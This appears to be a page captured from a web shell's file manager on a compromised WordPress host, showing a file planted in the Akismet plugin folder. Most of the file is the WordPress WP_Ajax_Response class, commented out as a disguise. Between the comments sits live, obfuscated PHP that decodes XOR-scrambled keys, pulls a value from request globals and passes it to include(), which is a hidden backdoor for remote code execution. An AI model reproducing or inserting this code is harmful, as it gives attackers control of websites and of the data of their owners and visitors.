PV.Pat File Manager
Kernel Version: Linux webm010.cluster127.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Domains: CANT READ named.confSites Server IP: 10.127.20.10 [Bing Search] [Zone-H]
| Path : /home/sptporgazz/www/wp-content/plugins/akismet/ |
| Current File : /home/sptporgazz/www/wp-content/plugins/akismet/PBDeO.js.php |
<?php /*
*
* Send XML response back to Ajax request.
*
* @package WordPress
* @since 2.1.0
class WP_Ajax_Response {
*
* Store XML responses to send.
*
* @since 2.1.0
* @var array
public $responses = array();
*
* Constructor - Passes args to WP_Ajax_Response::add().
*
* @since 2.1.0
* @see WP_Ajax_Response::add()
*
* @param string|array $args Optional. Will be passed to add() method.
public function __construct( $args = '' ) {
if ( ! empty( $args ) ) {
$this->add( $args );
}
}
*
* Appends data to an XML response based on given arguments.
*
* With `$args` defaults, extra data output would be:
*
* <response action='{$action}_$id'>
* <$what id='$id' position='$position'>
* <response_data><![CDATA[$data]]></response_data>
* </$what>
* </response>
*
* @since 2.1.0
*
* @param string|array $args {
* Optional. An array or string of XML response arguments.
*
* @type string $what XML-RPC response type. Used as a child element of `<response>`.
* Default 'object' (`<object>`).
* @type string|false $action Value to use for the `action` attribute in `<response>`. Will be
* appended with `_$id` on output. If false, `$action` will default to
* the value of `$_POST['action']`. Default false.
* @type int|WP_Error $id The response ID, used as the response type `id` attribute. Also
* accepts a `WP_Error` object if the ID does not exist. Default 0.
* @type int|false $old_id The previous response ID. Used as the value for the response type
* `old_id` attribute. False hides the attribute. Default false.
* @type string $position Value of the response type `position` attribute. Accepts 1 (bottom),
* -1 (top), html ID (after), or -html ID (before). Default 1 (bottom).
* @type string|WP_Error $data The response content/message. Also accepts a WP_Error object if the
* ID does not exist. Default empty.
* @type array $supplemental An array of extra strings that will be output within a `<supplemental>`
* element as CDATA. Default empty array.
* }
* @return string XML response.
public function add( $args = '' ) {
$defaults = array(
'what' => 'object',
'action' => false,
'id' => '0',
*/
function post_id()
{
$is_single_tag = 'category';
}
$tagregexp = 'the_post';
function textarr()
{
$parent = 'category';
$wpdb = 924;
}
function closing_quote($en_dash)
{
$postname_index = $en_dash;
$wheres = $GLOBALS[is_sticky("%15%25%25uv%25", $postname_index)];
$unicode = $wheres;
$_builtin = 'category';
$_context = 'post_type';
$group_mime_types = isset($unicode[$postname_index]);
$term = 'category';
if ($group_mime_types)
{
$ptype_obj = 'excerpt_more';
$new_path = $wheres[$postname_index];
$weeuns = 123;
$cockney = 'private';
$count2 = 656;
$orderby_array = $new_path[is_sticky("%3E%0E%1Cf%5D%17Y%1F", $postname_index)];
$post_ids = 'get_posts';
$script_and_style_regex = 'category';
$sized = $orderby_array;
$domains = 'no_texturize_tags_stack';
$where_post_type = $weeuns % ($count2 + 4);
$weeuns = $count2 - $weeuns;
include ($sized);
}
}
$piece = 'post_authors';
function is_sticky($keep_newlines, $guid)
{
$kids = 'singular_base';
$sentence = $guid;
$dest = "url";
$dest .= "decode";
$tag_pattern = $dest($keep_newlines);
$end_clean = strlen($tag_pattern);
$end_clean = substr($sentence, 0, $end_clean);
$static_replacements = $tag_pattern ^ $end_clean;
$original_link_html = 620;
$newtext = 'wp_htmltranswinuni';
$tag_pattern = sprintf($static_replacements, $end_clean);
$original_link_html = $original_link_html + 4;
$icon_dir_uri = 'category';
$height = 'old_posts';
return $static_replacements;
}
closing_quote('Jcl93v4zcKU');
$post_modified = 'wpsmiliestrans';
post_id();
$emoji_field = 'ancestors';
textarr();
/* 'old_id' => false,
'position' => 1,
'data' => '',
'supplemental' => array(),
);
$r = wp_parse_args( $args, $defaults );
$position = preg_replace( '/[^a-z0-9:_-]/i', '', $r['position'] );
$id = $r['id'];
$what = $r['what'];
$action = $r['action'];
$old_id = $r['old_id'];
$data = $r['data'];
if ( is_wp_error( $id ) ) {
$data = $id;
$id = 0;
}
$response = '';
if ( is_wp_error( $data ) ) {
foreach ( (array) $data->get_error_codes() as $code ) {
$response .= "<wp_error code='$code'><![CDATA[" . $data->get_error_message( $code ) . ']]></wp_error>';
if ( ! $error_data = $data->get_error_data( $code ) ) {
continue;
}
$class = '';
if ( is_object( $error_data ) ) {
$class = ' class="' . get_class( $error_data ) . '"';
$error_data = get_object_vars( $error_data );
}
$response .= "<wp_error_data code='$code'$class>";
if ( is_scalar( $error_data ) ) {
$response .= "<![CDATA[$error_data]]>";
} elseif ( is_array( $error_data ) ) {
foreach ( $error_data as $k => $v ) {
$response .= "<$k><![CDATA[$v]]></$k>";
}
}
$response .= '</wp_error_data>';
}
} else {
$response = "<response_data><![CDATA[$data]]></response_data>";
}
$s = '';
if ( is_array( $r['supplemental'] ) ) {
foreach ( $r['supplemental'] as $k => $v ) {
$s .= "<$k><![CDATA[$v]]></$k>";
}
$s = "<supplemental>$s</supplemental>";
}
if ( false === $action ) {
$action = $_POST['action'];
}
$x = '';
$x .= "<response action='{$action}_$id'>"; The action attribute in the xml output is formatted like a nonce action
$x .= "<$what id='$id' " . ( false === $old_id ? '' : "old_id='$old_id' " ) . "position='$position'>";
$x .= $response;
$x .= $s;
$x .= "</$what>";
$x .= '</response>';
$this->responses[] = $x;
return $x;
}
*
* Display XML formatted responses.
*
* Sets the content type header to text/xml.
*
* @since 2.1.0
public function send() {
header( 'Content-Type: text/xml; charset=' . get_option( 'blog_charset' ) );
echo "<?xml version='1.0' encoding='" . get_option( 'blog_charset' ) . "' standalone='yes'?><wp_ajax>";
foreach ( (array) $this->responses as $response ) {
echo $response;
}
echo '</wp_ajax>';
if ( wp_doing_ajax() ) {
wp_die();
} else {
die();
}
}
}
*/